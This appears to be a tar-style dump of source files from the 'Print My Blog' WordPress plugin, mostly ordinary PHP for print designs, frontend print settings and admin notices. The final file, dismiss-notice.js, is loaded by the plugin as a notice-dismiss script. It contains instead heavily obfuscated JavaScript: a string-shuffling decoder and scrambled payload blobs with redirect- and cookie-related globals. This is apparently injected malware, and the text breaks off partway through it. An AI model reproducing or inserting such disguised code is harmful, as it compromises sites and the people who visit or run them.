'title' => __('Editorial Review', 'print-my-blog'),
'quick_description' => __('Your writing in an easy-to-review format for editors.', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'descriptions/edit.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $preview_folder_url . '/preview1.jpg',
'desc' => __('Title page, showing the double-spaced text.', 'print-my-blog'),
],
[
'url' => $preview_folder_url . '/preview2.jpg',
'desc' => __('Main matter, showing smaller images and double-spaced text.', 'print-my-blog'),
],
],
'design_defaults' => [
'header_content' => [
'title',
'subtitle',
'url',
'date_printed',
],
'post_content' => [
'title',
'id',
'author',
'url',
'published_date',
'categories',
'featured_image',
'excerpt',
'content',
],
'page_per_post' => true,
'image_size' => 200,
'custom_css' => 'article{line-height:2;}',
],
'project_defaults' => [
'title' => get_bloginfo('name'),
],
];
}
);
pmb_register_design(
'classic_print',
'classic_print',
function (DesignTemplate $design_template) {
return [
'title' => __('Classic Print PDF', 'print-my-blog'),
'quick_description' => __('A simple but flexible design intended for printing, inspired by Print My Blog Quick Print', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'descriptions/classic.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $design_template->getUrl() . 'assets/preview1.jpg',
'desc' => __('Title page, showing removed hyperlinks.'),
],
[
'url' => $design_template->getUrl() . 'assets/preview2.jpg',
'desc' => __('Main matter, showing external hyperlinks automatically converted into footnotes. Page numbers are always on the bottom-outside corner, and each article’s title is shown at the top of right pages.', 'print-my-blog'),
],
],
'design_defaults' => [
'use_title' => true,
'image_size' => 400,
'font_style' => 'times',
'header_font_style' => 'palatino linotype',
],
'project_defaults' => [
'title' => get_bloginfo('name'),
],
];
}
);
pmb_register_design(
'classic_print',
'economical_print',
function (DesignTemplate $design_template) {
$preview_folder_url = PMB_ASSETS_URL . 'images/design_previews/pdf/print/economical/';
return [
'title' => __('Economical Print PDF', 'print-my-blog'),
'quick_description' => __('Compact design meant to save paper but still deliver all the content.', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'descriptions/economical.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $preview_folder_url . 'preview1.jpg',
'desc' => __('Title page, showing smaller text.', 'print-my-blog'),
],
[
'url' => $preview_folder_url . 'preview2.jpg',
'desc' => __(
'Main matter, showing smaller text and images to reduce ink usage.',
'print-my-blog'
),
],
],
'design_defaults' => [
'header_content' => [
'title',
'url',
'date_printed',
],
'post_content' => [
'title',
'featured_image',
'content',
],
'page_per_page' => false,
'font_size' => '9pt',
'image_size' => 150,
// purposefully leave hyperlink defaults dynamic
],
'project_defaults' => [
'title' => get_bloginfo('name'),
],
];
}
);
pmb_register_design(
'buurma',
'buurma',
function (DesignTemplate $design_template) {
$current_user = wp_get_current_user();
if ($current_user instanceof WP_User && $current_user->exists()) {
$name = $current_user->first_name . ' ' . $current_user->last_name;
} else {
$name = '';
}
return [
'title' => __('Buurma Whitepaper', 'print-my-blog'),
'quick_description' => __('Stylized and branded PDF designed mainly for reading from a device, great for organizations', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'description.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $design_template->getUrl() . 'assets/preview1.jpg',
'desc' => __('Title page, showing a stylzed upper margin for a company name, background gradient and logo, among other things.', 'print-my-blog'),
],
[
'url' => $design_template->getUrl() . 'assets/preview2.jpg',
'desc' => __('Main matter, showing working hyperlinks (which also each get an automatic footnote), and page number and logo in bottom-right corner.', 'print-my-blog'),
],
],
'design_defaults' => [],
'project_defaults' => [
'title' => get_bloginfo('name'),
'byline' => $name,
'issue' => __('Issue 01', 'print-my-blog'),
'cover_preamble' => __('Text explaining the purpose of the paper and gives a brief summary of it, so folks know they’re reading the right thing.', 'print-my-blog'),
],
];
}
);
pmb_register_design(
'mayer',
'mayer',
function (DesignTemplate $design_template) {
return [
'title' => __('Mayer Magazine', 'print-my-blog'),
'quick_description' => __('Digital 2-column magazine inspired by the defunct Zinepal', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'description.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $design_template->getUrl() . 'assets/preview1.jpg',
'desc' => __(
'Title page and table of contents both fit on the first page.',
'print-my-blog'
),
],
[
'url' => $design_template->getUrl() . 'assets/preview2.jpg',
'desc' => __(
'Two column layout which compactly shows content and images.',
'print-my-blog'
),
],
],
'design_defaults' => [
'page_per_post' => false,
'post_header_in_columns' => false,
],
'project_defaults' => [
'title' => get_bloginfo('name'),
],
];
}
);
pmb_register_design(
'classic_epub',
'classic_epub',
function (DesignTemplate $design_template) {
return [
'title' => __('Classic ePub', 'print-my-blog'),
'quick_description' => __('Simple ePub for using when uploading as an eBook to Amazon and other epub marketplaces', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'description.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $design_template->getUrl() . 'assets/preview1.jpg',
'desc' => __(
'Title page and table of contents both fit on the first page.',
'print-my-blog'
),
],
[
'url' => $design_template->getUrl() . 'assets/preview2.jpg',
'desc' => __(
'Two column layout which compactly shows content and images.',
'print-my-blog'
),
],
],
'design_defaults' => [
'header_content' => [
'title',
'subtitle',
'url',
'date_printed',
],
'post_content' => [
'title',
'id',
'author',
'url',
'published_date',
'categories',
'featured_image',
'excerpt',
'content',
],
],
'project_defaults' => [],
];
}
);
pmb_register_design(
'classic_word',
'classic_word',
function (DesignTemplate $design_template) {
return [
'title' => __('Classic Word', 'print-my-blog'),
'quick_description' => __('Simple Microsoft Word document when that format is required.', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'description.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $design_template->getUrl() . 'assets/preview1.jpg',
'desc' => __(
'Title page and table of contents.',
'print-my-blog'
),
],
[
'url' => $design_template->getUrl() . 'assets/preview2.jpg',
'desc' => __(
'Simple layout',
'print-my-blog'
),
],
],
'design_defaults' => [
'header_content' => [
'title',
'subtitle',
'url',
'date_printed',
],
'post_content' => [
'title',
'id',
'author',
'url',
'published_date',
'categories',
'featured_image',
'excerpt',
'content',
],
],
'project_defaults' => [],
];
}
);
pmb_register_design(
'haller',
'haller',
function (DesignTemplate $design_template) {
return [
'title' => __('Haller Tabloid', 'print-my-blog'),
'quick_description' => __('Print-ready newspaper design', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'description.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $design_template->getUrl() . 'assets/preview1.jpg',
'desc' => __(
'Title page and table of contents both fit on the first page.',
'print-my-blog'
),
],
[
'url' => $design_template->getUrl() . 'assets/preview2.jpg',
'desc' => __(
'Two column layout which compactly shows content and images.',
'print-my-blog'
),
],
],
'design_defaults' => [
'page_per_post' => false,
'post_header_in_columns' => false,
],
'project_defaults' => [
'title' => get_bloginfo('name'),
],
];
}
);
do_action('pmb_register_designs');
}
}
PrintMyBlog/domain/PrintPageUrlGenerator.php 0000644 00000004661 14666776752 0015216 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use Exception;
use WP_Post;
/**
* Class PrintPageUrlGenerator
* @package PrintMyBlog\domain
*/
class PrintPageUrlGenerator
{
/**
* @var WP_Post
*/
protected $post;
/**
* @var FrontendPrintSettings
*/
protected $print_settings;
/**
* @param FrontendPrintSettings $print_settings
*/
public function inject(FrontendPrintSettings $print_settings)
{
$this->print_settings = $print_settings;
}
/**
* PrintPageUrlGenerator constructor.
* @param WP_Post|int}string $post
*/
public function __construct($post)
{
if (is_int($post) || is_string($post)) {
$post = get_post($post);
}
if (! $post instanceof WP_Post) {
$post = get_post();
}
$this->post = $post;
}
/**
* Gets the basic URL parameters as an array for teh print page
* @return array
*/
public function getBaseArgs()
{
$base_args = [
'print-my-blog' => '1',
'post-type' => $this->post->post_type,
];
// Loose comparison ok in case post_password is null or false.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if ($this->post->post_password != '') {
$base_args['statuses[]'] = 'password';
} else {
$base_args['statuses[]'] = $this->post->post_status;
}
if ($this->post->post_status === 'draft') {
$base_args['include-draft-posts'] = true;
}
return $base_args;
}
/**
* Gets the URL to the print page of this format.
* @param string $slug
* @return string URL
* @throws Exception
*/
public function getUrl($slug = 'print')
{
$args = array_merge(
$this->getBaseArgs(),
$this->print_settings->getPrintOptionsAndValues($slug)
);
$args['pmb_f'] = $slug;
$args['pmb-post'] = $this->post->ID;
if (defined('ICL_LANGUAGE_CODE')) {
$args['lang'] = ICL_LANGUAGE_CODE;
}
$url = add_query_arg(
apply_filters(
'\PrintMyBlog\controllers\PmbFrontend->addPrintButton $base_args',
$args,
$this->post,
$slug,
$this->print_settings->formatSettings($slug)
),
site_url()
);
return $url;
}
}
PrintMyBlog/domain/FrontendPrintSettings.php 0000644 00000024513 14666776752 0015306 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use Exception;
/**
* Class Settings
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class FrontendPrintSettings
{
/**
* @var array
*/
protected $formats;
/**
* @var array
*/
protected $settings;
const OPTION_NAME = 'pmb-print-now-settings';
/**
* @var PrintOptions
*/
protected $print_options;
/**
* @param PrintOptions $print_options
*/
public function inject(PrintOptions $print_options)
{
$this->print_options = $print_options;
}
/**
* FrontendPrintSettings constructor.
* @param PrintOptions|null $print_options optional. This is injected since PMB 3.6.0
* @param bool $load_from_db
*/
public function __construct(PrintOptions $print_options = null, $load_from_db = true)
{
if (isset($print_options) && $print_options instanceof PrintOptions) {
$this->print_options = $print_options;
}
$this->formats = array(
'print' => array(
'admin_label' => esc_html__('Print', 'print-my-blog'),
'default' => esc_html__('Print 🖨', 'print-my-blog'),
),
'pdf' => array(
'admin_label' => esc_html__('PDF', 'print-my-blog'),
'default' => esc_html__('PDF 📄', 'print-my-blog'),
),
'ebook' => array(
'admin_label' => esc_html__('eBook', 'print-my-blog'),
'default' => esc_html__('eBook 📱', 'print-my-blog'),
),
);
// Remove emojis if the database doesn't support it.
global $wpdb;
foreach ($this->formats as $key => $settings) {
if (method_exists($wpdb, 'strip_invalid_text_for_column')) {
$this->formats[$key]['admin_label'] = $wpdb->strip_invalid_text_for_column(
$wpdb->options,
'option_value',
$settings['admin_label']
);
$this->formats[$key]['default'] = $wpdb->strip_invalid_text_for_column(
$wpdb->options,
'option_value',
$settings['default']
);
} else {
$this->formats[$key]['admin_label'] = str_replace(['🖨', '📄', '📱'], ['', '', ''], $settings['admin_label']);
$this->formats[$key]['default'] = str_replace(['🖨', '📄', '📱'], ['', '', ''], $settings['default']);
}
}
// Initialize the settings with the defaults.
$this->settings = $this->defaultSettings();
if ($load_from_db) {
$this->load();
}
}
/**
* Gets the default settings
* @since $VID:$
* @return array
*/
protected function defaultSettings()
{
$defaults = [
'show_buttons' => false,
'show_buttons_pages' => false,
'place_above' => true,
];
foreach ($this->formats as $slug => $format) {
$defaults[$slug] = array(
'frontend_label' => $format['default'],
'active' => true,
'print_options' => [],
);
}
return $defaults;
}
/**
* @since $VID:$
* @return array 2d. array keys are format slugs, sub-elements contain keys "admin_label" and "default"
*/
public function formats()
{
return $this->formats;
}
/**
* @param string $format_slug
* @return array
* @throws Exception If there is an invalid format.
*/
public function formatSettings($format_slug)
{
if (! isset($this->formats[$format_slug])) {
throw new Exception(
sprintf(
// translators: %s: format slug
__('Invalid format "%s".', 'print-my-blog'),
$format_slug
)
);
}
return $this->formats[$format_slug];
}
/**
* @since $VID:$
* @return array
*/
public function formatSlugs()
{
return array_keys($this->formats);
}
/**
* @since $VID:$
* @param string $format
* @return bool
*/
public function isActive($format)
{
if (! isset($this->settings[$format])) {
return false;
}
return (bool)$this->settings[$format]['active'];
}
/**
* @since $VID:$
* @param string $format
* @param string $active
*/
public function setFormatActive($format, $active)
{
$this->beforeSet($format);
$this->settings[$format]['active'] = (bool)$active;
}
/**
* @since $VID:$
* @param string $format
* @param string $label
*/
public function setFormatFrontendLabel($format, $label)
{
$this->beforeSet($format);
$this->settings[$format]['frontend_label'] = sanitize_text_field($label);
}
/**
* @param string $format
* @param array $submitted_values
* @throws Exception
*/
public function setPrintOptions($format, $submitted_values)
{
$this->beforeSet($format);
$values_to_save = [];
foreach ($this->print_options->allPrintOptions() as $option_name => $details) {
$default = $details['default'];
$new_value = null;
if (isset($submitted_values[$option_name])) {
if (is_bool($default)) {
$new_value = (bool)($submitted_values[$option_name]);
} elseif (is_numeric($default)) {
$new_value = (int)$submitted_values[$option_name];
} else {
$new_value = wp_strip_all_tags($submitted_values[$option_name]);
}
if (isset($details['options']) && ! array_key_exists($new_value, $details['options'])) {
// that's not one of the acceptable options. Replace it with the default
$new_value = $default;
}
} else {
if (is_bool($default)) {
$new_value = false;
} elseif (is_numeric($default)) {
$new_value = 0;
} else {
$new_value = '';
}
}
$values_to_save[$option_name] = $new_value;
}
$this->settings[$format]['print_options'] = $values_to_save;
}
/**
* Gets the print option names and their current values
* @since $VID:$
* @param string $format
* @return array keys are the option names, values are their saved values
*/
public function getPrintOptionsAndValues($format)
{
$frontend_deviations = [
'show_credit' => false,
'show_filters' => false,
'rendering_wait' => 0,
'show_divider' => false,
'post_page_break' => false,
];
return array_merge(
$this->print_options->allPrintOptionDefaults($format),
$frontend_deviations,
$this->settings[ $format ]['print_options']
);
}
/**
* @param string $format
* @return string
*/
public function getFrontendLabel($format)
{
$this->beforeSet($format);
return (string)$this->settings[$format]['frontend_label'];
}
/**
* Sets whether to show buttons on posts.
* @param bool $show
*/
public function setShowButtons($show = true)
{
$this->settings['show_buttons'] = (bool)$show;
}
/**
* Gets whether to show print buttons on posts.
* @return bool
*/
public function showButtons()
{
return (bool)$this->settings['show_buttons'];
}
/**
* Sets whether to show print buttons on pages.
* @since 2.7.0
* @param bool $show
*/
public function setShowButtonsPages($show = true)
{
$this->settings['show_buttons_pages'] = (bool)$show;
}
/**
* Gets whether to show print buttons on pages.
* @since 2.7.0
* @return bool
*/
public function showButtonsPages()
{
return (bool)$this->settings['show_buttons_pages'];
}
/**
* Sets whether buttons should appear above the content or below.
*
* @param bool $new_value
*/
public function setPlaceAbove($new_value)
{
$this->settings['place_above'] = (bool)$new_value;
}
/**
* Whether buttons should appear above the content, or below.
*
* @return bool
*/
public function showButtonsAbove()
{
return (bool)$this->settings['place_above'];
}
/**
* Verifies the format is valid, and that its initialized in the settings.
* @param string $format
* @throws Exception
*/
protected function beforeSet($format)
{
if (! isset($this->formats[$format])) {
throw new Exception(
'The format "'
. $format
. '" is invalid. It should be one of '
. implode(', ', $this->formatSlugs())
);
}
if (! isset($this->settings[$format])) {
$this->settings[$format] = array(
'frontend_label' => $this->formats[$format]['default'],
'active' => false,
);
}
}
/**
* Saves the settings on this class to the database.
* @since $VID:$
* return boolean indicating successful saving
*/
public function save()
{
return update_option(self::OPTION_NAME, $this->settings);
}
/**
* Loads settings from the database. If none are set, uses the defaults.
* Called during construction by default since 3.6.0
*/
public function load()
{
$this->settings = array_replace_recursive(
$this->defaultSettings(),
(array)get_option(self::OPTION_NAME, [])
);
}
/**
* Gets which post types are active. Key is the post type slug, value is whether to show print buttons on it.
* @since 2.7.0
* @return array
*/
public function activePostTypes()
{
return [
'post' => $this->settings['show_buttons'],
'page' => $this->settings['show_buttons_pages'],
];
}
}
// End of file Settings.php
// Location: PrintMyBlog\domain/Settings.php
PrintMyBlog/domain/DefaultPersistentNotices.php 0000644 00000023340 14666776752 0015760 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use mnelson4\AdminNotices\Notice;
/**
* Class DefaultPersistentNotices
* @package PrintMyBlog\domain
*/
class DefaultPersistentNotices
{
/**
* @return Notice[] Notice
*/
public function getNotices()
{
// don't show any of these notices on the welcome page, please. Give them a moment.
// This is just deciding whether to hide notifications on the welcome page. Nonce is overkill.
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (isset($_GET['welcome']) || isset($_GET['upgrade_to_3'])) {
return [];
}
return [
new Notice(
'pmb_pro_notice',
__('About Quick Print', 'print-my-blog'),
'<p>'
. sprintf(
// translators: 1: html tag, 2: html tag, 3: html tag
__('This is the quick-and-easy option, best for making printouts for your own records. For something more professional and full-featured, use %1$sPro Print%2$s. It has free and paid options. %3$sSee full feature comparison.%2$s', 'print-my-blog'),
'<a href="'
. esc_attr(admin_url(PMB_ADMIN_PROJECTS_PAGE_PATH))
. '">',
'</a>',
'<a href="https://printmy.blog/free-vs-pro/" target="_blank">'
)
. '</p>',
$this->getOptionsForScreen('print-my-blog_page_print-my-blog-now')
),
new Notice(
'pmb_free_notice',
__('About Pro Print', 'print-my-blog'),
'<p>'
. sprintf(
// translators: 1: html tag, 2: html tag
__('Pro Print is the best way to make professional-quality documents. You will be able to print them for free using your browser, or upgrade to use Print My Blog Pro\'s full features. %1$sSee full feature comparison.%2$s', 'print-my-blog'),
'<a href="https://printmy.blog/free-vs-pro/" target="_blank">',
'</a>'
)
. '</p><p>'
. sprintf(
// translators: 1: html tag, 2: html tag
__('If you just want something quick, use %1$sQuick Print%2$s instead.', 'print-my-blog'),
'<a href="' . esc_attr(admin_url(PMB_ADMIN_PAGE_PATH)) . '">',
'</a>'
)
. '</p>',
array_merge(
$this->getOptionsForScreen('toplevel_page_print-my-blog-projects'),
[
'query_args' => [
'subaction' => null,
'action' => null,
],
]
)
),
new Notice(
'pmb_choose_design',
__('Project Designs are like WordPress Themes', 'print-my-blog'),
'<p>' . __('Each has a different look and options that can be customized.', 'print-my-blog') . '</p>'
. '<p>' . __('The "Classic" design is the most similar Print My Blog’s Quick Print, so it’s a good default choice.', 'print-my-blog') . '</p>'
. '<p>' . __('Click on the preview image for more details, and feel free to come back to this page later if you want to try a different design.', 'print-my-blog') . '</p>'
. '<p><a href="https://printmy.blog/user-guide/pro/getting-started/4-choose-a-design/" target="_blank">'
. __('Read the User Guide', 'print-my-blog')
. '</a></p>',
$this->getOptionsForProjectSubaction('choose_design')
),
new Notice(
'pmb_customize_design',
__('Each Design has Different Options and is Reusable', 'print-my-blog'),
'<p>' . __('Below are your chosen design’s customization options.', 'print-my-blog') . '</p>'
. '<p>' . __('If you don’t see an option you need, you may want to go back and choose a different design, or ask the design’s author for it.', 'print-my-blog') . '</p>'
. '<p>' . __('Note: designs are reused between projects. So customizations to this design will be reused by other projects using this same design', 'print-my-blog') . '</p>'
. '<p><a href="https://printmy.blog/user-guide/pro/getting-started/5-customize-the-design/" target="_blank">'
. __('Read the User Guide', 'print-my-blog')
. '</a></p>',
$this->getOptionsForProjectSubaction('customize_design')
),
new Notice(
'pmb_edit_content2',
__('How to Edit Project Content', 'print-my-blog'),
'<div class="pmb-two-column-notice"><div class="pmb-image-column"><iframe style="width:100%" height="315" src="https://www.youtube.com/embed/un7EnpDG2qs"
frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>'
. '<div class="pmb-text-column">'
. '<ol>'
. '<li>' . __('Find the articles (posts, pages, other post types) from WordPress you want to add on the left, and add it to your project on the right by dragging', 'print-my-blog') . '</li>'
. '<li>' . sprintf(__('Title Page and Table of Contents print materials are automatically added to each project, but you can remove or %1$scustomize them%2$s.', 'print-my-blog'), '<a href="https://printmy.blog/user-guide/design-layout/how-to-customize-your-projects-title-page/" target="_blank">', '</a>') . '</li>'
. '<li>' . __('Place articles in either front matter, body, or back matter, according to how you want your project organized. Each design can style them differently (eg front matter is often is numbered with roman numerals)') . '</li>'
. '<li>' . __('Nest content inside others to create parts', 'print-my-blog') . '</li>'
. '</ol>'
. '<p><a href="https://printmy.blog/user-guide/pro/getting-started/6-choose-project-content/" target="_blank">'
. __('Read the User Guide on how to edit your project\'s content.', 'print-my-blog')
. '</a></p>'
. '</div></div>',
$this->getOptionsForProjectSubaction('content')
),
new Notice(
'pmb_edit_meta',
__('Everything Else About Your Project is Stored Here', 'print-my-blog'),
'<p>' . __('Different formats and designs may require other information about your project.', 'print-my-blog') .
'</p>'
. '<p>' . __('Some examples of metadata are: title page info, file info, or copyright data.', 'print-my-blog') . '</p>'
. '<p>' . __('So although your choice of design may affect what metadata is required, it is not shared with other projects.', 'print-my-blog')
. '</p>'
. '<p><a href="https://printmy.blog/user-guide/pro/getting-started/7-enter-project-metadata/" target="_blank">'
. __('Read the User Guide', 'print-my-blog')
. '</a></p>',
$this->getOptionsForProjectSubaction('metadata')
),
new Notice(
'pmb_generate',
__('Generate and View Your File', 'print-my-blog'),
'<p>' .
__('Your project is ready to be generated! Clicking "Generate" will compile your content into a print-page.', 'print-my-blog') .
'</p>'
. '<p>'
. sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag, 3: opening anchor tag, 4: opening anchor tag
__('Read the User Guide on %1$supdating%2$s, %3$sgenerating the pro file%2$s, and %4$sgetting help%2$s.', 'print-my-blog'),
'<a href="https://printmy.blog/user-guide/pro/getting-started/9-update-the-project/" target="_blank">',
'</a>',
'<a href="https://printmy.blog/user-guide/pro/getting-started/10-generate-the-paid-pdf/" target="_blank">',
'<a href="https://printmy.blog/user-guide/pro/getting-started/11-getting-help/" target="_blank">'
)
. '</p>',
$this->getOptionsForProjectSubaction('generate')
),
new Notice(
'pmb_print_materials',
__('Posts just for Print My Blog', 'print-my-blog'),
'<p>' . __('Print My Blog "Print Materials" are like private posts. They aren’t visible to site visitors, but you can use them in your Pro Print Projects.', 'print-my-blog') . '</p>',
$this->getOptionsForScreen('edit-pmb_content')
),
];
}
/**
* @return string[]
*/
protected function getNoticeDefaultOptions()
{
return [
'scope' => 'user',
'type' => 'info',
'capability' => 'read',
];
}
/**
* @param string $screen_id
* @return string[]
*/
protected function getOptionsForScreen($screen_id)
{
$options = $this->getNoticeDefaultOptions();
$options['screens'] = [$screen_id];
return $options;
}
/**
* @param string $subaction
* @return string[]
*/
protected function getOptionsForProjectSubaction($subaction)
{
$options = $this->getOptionsForScreen(
'toplevel_page_print-my-blog-projects'
);
$options['query_args'] = [
'subaction' => $subaction,
];
return $options;
}
}
PrintMyBlog/helpers/ImageHelper.php 0000644 00000002026 14666776752 0013341 0 ustar 00 <?php
namespace PrintMyBlog\helpers;
/**
* Class ImageHelper
* @package PrintMyBlog\helpers
*/
class ImageHelper
{
/**
* Gets all registered image/thumbnail sizes
* Copy-paste from https://wordpress.stackexchange.com/a/251602/52760
* @return array of arrays with sub-indexes 'width', 'height' and 'crop'
*/
public function getAllImageSizes()
{
global $_wp_additional_image_sizes;
$default_image_sizes = get_intermediate_image_sizes();
foreach ($default_image_sizes as $size) {
$image_sizes[ $size ]['width'] = intval(get_option("{$size}_size_w"));
$image_sizes[ $size ]['height'] = intval(get_option("{$size}_size_h"));
$image_sizes[ $size ]['crop'] = get_option("{$size}_crop") ? get_option("{$size}_crop") : false;
}
if (isset($_wp_additional_image_sizes) && count($_wp_additional_image_sizes)) {
$image_sizes = array_merge($image_sizes, $_wp_additional_image_sizes);
}
return $image_sizes;
}
}
PrintMyBlog/helpers/ArgMagician.php 0000644 00000000754 14666776752 0013327 0 ustar 00 <?php
namespace PrintMyBlog\helpers;
use PrintMyBlog\entities\FileFormat;
/**
* Class ArgMagician
* @package PrintMyBlog\helpers
*/
class ArgMagician
{
/**
* Takes an incoming string or FileFormat and returns a format slug.
* @param FileFormat|string $format
* @return string
*/
public static function castToFormatSlug($format)
{
if ($format instanceof FileFormat) {
return $format->slug();
}
return $format;
}
}
mnelson4/AdminNotices/Notices.php 0000644 00000007430 14666776752 0013033 0 ustar 00 <?php // phpcs:ignore WordPress.Files.FileName
/**
* Admin-Notices class.
*
* Handles creating Notices and printing them.
*
* @package mnelson4/admin-notices
* @copyright 2019 mnelson4
* @license https://www.gnu.org/licenses/gpl-2.0.html GPL-2.0-or-later
* @link https://github.com/mnelson4/admin-notices
*/
namespace mnelson4\AdminNotices;
/**
* The Admin_Notice class, responsible for creating admin notices.
*
* Each notice is a new instance of the object.
*
* @since 1.0.0
*/
class Notices
{
/**
* An array of notices.
*
* @access private
* @since 1.0
* @var array
*/
private $notices = [];
/**
* Adds actions for the notices.
*
* @access public
* @since 1.0
* @return void
*/
public function boot()
{
// Add the notice.
add_action('admin_notices', [ $this, 'the_notices' ]);
// Print the script to the footer.
add_action('admin_enqueue_scripts', [ $this, 'enqueue_scripts' ]);
}
public function enqueue_scripts(){
// Only enqueue the script if there's anything notices to show.
$show = false;
foreach($this->get_all() as $notice){
if($notice->show()){
$show = true;
}
}
if($show){
wp_enqueue_script(
'wptrt-dismiss',
MNELSON4_JS_URL . 'dismiss-notice.js',
['jquery','common'],
filemtime(MNELSON4_JS_DIR . 'dismiss-notice.js'),
true
);
}
}
/**
* Add a notice.
*
* @access public
* @since 1.0
* @param string $id A unique ID for this notice. Can contain lowercase characters and underscores.
* @param string $title The title for our notice.
* @param string $message The message for our notice.
* @param array $options An array of additional options to change the defaults for this notice.
* See Notice::__constructor() for details.
* @return void
*/
public function add($id, $title, $message, $options = [])
{
$this->notices[ $id ] = new Notice($id, $title, $message, $options);
}
/**
* @param $id
* @param Notice $notice_obj
*/
public function add_notice($notice_obj)
{
$this->notices[ $notice_obj->id() ] = $notice_obj;
}
/**
* Remove a notice.
*
* @access public
* @since 1.0
* @param string $id The unique ID of the notice we want to remove.
* @return void
*/
public function remove($id)
{
unset($this->notices[ $id ]);
}
/**
* Get a single notice.
*
* @access public
* @since 1.0
* @param string $id The unique ID of the notice we want to retrieve.
* @return Notice|null
*/
public function get($id)
{
if (isset($this->notices[ $id ])) {
return $this->notices[ $id ];
}
return null;
}
/**
* Get all notices.
*
* @access public
* @since 1.0
* @return Notice[]
*/
public function get_all()
{
return $this->notices;
}
/**
* Prints the notice.
*
* @access public
* @since 1.0
* @return void
*/
public function the_notices()
{
$notices = $this->get_all();
foreach ($notices as $notice) {
$notice->the_notice();
}
}
/**
* Prints scripts for the notices.
*
* @access public
* @since 1.0
* @return void
*/
public function print_scripts()
{
$notices = $this->get_all();
foreach ($notices as $notice) {
if ($notice->show()) {
$notice->dismiss->print_script();
}
}
}
}
mnelson4/AdminNotices/dismiss-notice.js 0000444 00000007505 14666776752 0014207 0 ustar 00 var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB 